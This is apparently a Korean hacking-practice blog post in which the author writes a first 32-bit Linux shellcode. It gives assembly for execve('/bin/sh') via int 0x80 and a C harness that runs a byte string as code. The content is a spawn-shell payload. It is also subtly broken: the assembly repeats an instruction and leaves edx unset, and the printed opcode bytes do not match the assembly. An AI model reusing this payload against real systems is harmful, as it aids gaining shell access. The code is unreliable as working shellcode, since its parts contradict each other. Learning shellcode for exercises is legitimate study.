처음으로 쉘코드를 만들어 보았다.
일단 32비트 기준으로
eax : system call 번호
ebx : 첫 번째 매개변수
ecx : 두 번째 매개변수
edx : 세 번째 매개변수
맞춰준 다음에, int 0x80으로 시스템 콜
목표는 execve(&"/bin/sh", NULL, NULL);
xor eax,eax push eax mov ecx,esp mov ecx,esp push 0x68732f2f push 0x6e69622f mov ebx,esp mov al,0xb int 0x80
간단 ㅋ
이걸 pwntools asm 함수를 쓰거나, 온라인 어셈블러로 opcode로 만들어준 후 콜하면 된다.
#includechar * sc = "\xe9\x0f\x10\x00\x00\x5b\x31\xc0\x50\x89\xe2\x89\xe1\xb0\x0b\xcd\x80"; int main() { (*(void(*)()) sc)(); }
'pwnable > Shellcoding' 카테고리의 다른 글
쉘코딩 (shellcoding) - (3) (0) | 2022.06.08 |
---|---|
쉘코딩 (shellcoding) - (2) (0) | 2022.03.25 |
쉘코딩 (shellcoding) - (1) (0) | 2022.03.25 |
쉘코드 만들기 (asm 코딩) (0) | 2018.12.23 |